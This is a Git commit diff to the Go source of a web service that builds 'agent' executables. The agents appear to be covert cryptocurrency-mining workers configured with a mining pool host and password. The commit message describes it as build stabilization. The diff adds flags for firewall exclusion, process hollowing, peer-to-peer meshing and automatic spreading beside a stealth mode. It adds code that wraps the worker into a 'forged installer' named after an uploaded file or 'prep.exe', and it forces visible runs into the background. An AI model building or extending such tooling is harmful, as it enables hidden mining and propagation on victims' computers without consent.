Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
@@ -50,6 +50,7 @@ type BuildRequest struct {
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
FirewallExclusion bool `json:"firewall_exclusion"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
@@ -61,6 +62,9 @@ type BuildRequest struct {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
@@ -74,6 +78,8 @@ type BuildResponse struct {
|
||||
UninstallFileName string `json:"uninstall_file_name,omitempty"`
|
||||
UninstallPath string `json:"uninstall_path,omitempty"`
|
||||
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
@@ -142,6 +148,9 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
@@ -169,6 +178,10 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if req.FusionEnabled && req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
writeJSON(w, status, resp)
|
||||
@@ -285,23 +298,19 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
fusionEnabled = true
|
||||
}
|
||||
|
||||
// Optional "export" copy for convenience (still keeps canonical build inside data/builds/<id>/...)
|
||||
// We only allow relative paths under dataDir to avoid writing outside the server workspace.
|
||||
exportPath, err := h.publishRootExecutable(finalPath, finalName)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
exportDir := filepath.Join(h.dataDir, filepath.Clean(strings.TrimSpace(req.OutputDir)))
|
||||
rel, err := filepath.Rel(h.dataDir, exportDir)
|
||||
if err != nil || rel == "." || strings.HasPrefix(rel, "..") {
|
||||
return BuildResponse{Success: false, Error: "Invalid output_dir (must be a relative folder under data_dir)"}, http.StatusBadRequest, ""
|
||||
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
|
||||
log.Printf("[Builder] secondary export: %v", err)
|
||||
} else {
|
||||
_ = eu
|
||||
if exportPath == "" {
|
||||
exportPath = ep
|
||||
}
|
||||
}
|
||||
if err := os.MkdirAll(exportDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create output_dir"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
exportPath := filepath.Join(exportDir, finalName)
|
||||
if err := copyFile(finalPath, exportPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to export build to output_dir"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
exportUninstall := filepath.Join(exportDir, uninstallName)
|
||||
_ = copyFile(uninstallPath, exportUninstall)
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
@@ -351,11 +360,59 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
UninstallFileName: uninstallName,
|
||||
UninstallPath: uninstallPath,
|
||||
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
|
||||
ExportPath: exportPath,
|
||||
UninstallExportPath: "",
|
||||
FusionEnabled: fusionEnabled,
|
||||
WorkerFile: workerName,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
// publishRootExecutable writes the forged installer as a single file in the project root.
|
||||
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
|
||||
if h.projectRoot == "" || h.projectRoot == "." {
|
||||
abs, _ := filepath.Abs(finalPath)
|
||||
return abs, nil
|
||||
}
|
||||
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
|
||||
if err := copyFile(finalPath, dest); err != nil {
|
||||
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
|
||||
}
|
||||
log.Printf("[Builder] Forge output -> %s", dest)
|
||||
return dest, nil
|
||||
}
|
||||
|
||||
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
|
||||
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
|
||||
clean := strings.TrimSpace(outputDir)
|
||||
if clean == "" {
|
||||
return "", "", nil
|
||||
}
|
||||
clean = filepath.Clean(clean)
|
||||
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
|
||||
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
|
||||
}
|
||||
|
||||
exportDir := ""
|
||||
if h.projectRoot != "" {
|
||||
exportDir = filepath.Join(h.projectRoot, clean)
|
||||
} else {
|
||||
exportDir = filepath.Join(h.dataDir, clean)
|
||||
}
|
||||
if err := os.MkdirAll(exportDir, 0755); err != nil {
|
||||
return "", "", fmt.Errorf("failed to create export folder: %w", err)
|
||||
}
|
||||
|
||||
exportExe := filepath.Join(exportDir, finalName)
|
||||
if err := copyFile(finalPath, exportExe); err != nil {
|
||||
return "", "", fmt.Errorf("failed to export build: %w", err)
|
||||
}
|
||||
exportUninstall := filepath.Join(exportDir, uninstallName)
|
||||
_ = copyFile(uninstallPath, exportUninstall)
|
||||
|
||||
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
|
||||
return exportExe, exportUninstall, nil
|
||||
}
|
||||
|
||||
func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.WorkerName == "" {
|
||||
return fmt.Errorf("worker_name is required")
|
||||
@@ -458,12 +515,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.PoolPass = "x"
|
||||
}
|
||||
if req.FusionEnabled {
|
||||
if req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
if req.FusionRunOrder == "" {
|
||||
req.FusionRunOrder = "parallel"
|
||||
}
|
||||
if req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
@@ -559,9 +616,13 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
SelfHealing: %v,
|
||||
FileLogging: %v,
|
||||
StealthMode: %v,
|
||||
FirewallExclusion: %v,
|
||||
AIEnabled: %v,
|
||||
AIOllamaEndpoint: %q,
|
||||
AIModel: %q,
|
||||
ProcessHollowing: %v,
|
||||
MeshP2P: %v,
|
||||
AutoSpread: %v,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -598,9 +659,13 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.SelfHealing,
|
||||
req.FileLogging,
|
||||
req.StealthMode,
|
||||
req.FirewallExclusion,
|
||||
req.AIEnabled,
|
||||
req.AIOllamaEndpoint,
|
||||
req.AIModel,
|
||||
req.ProcessHollowing,
|
||||
req.MeshP2P,
|
||||
req.AutoSpread,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user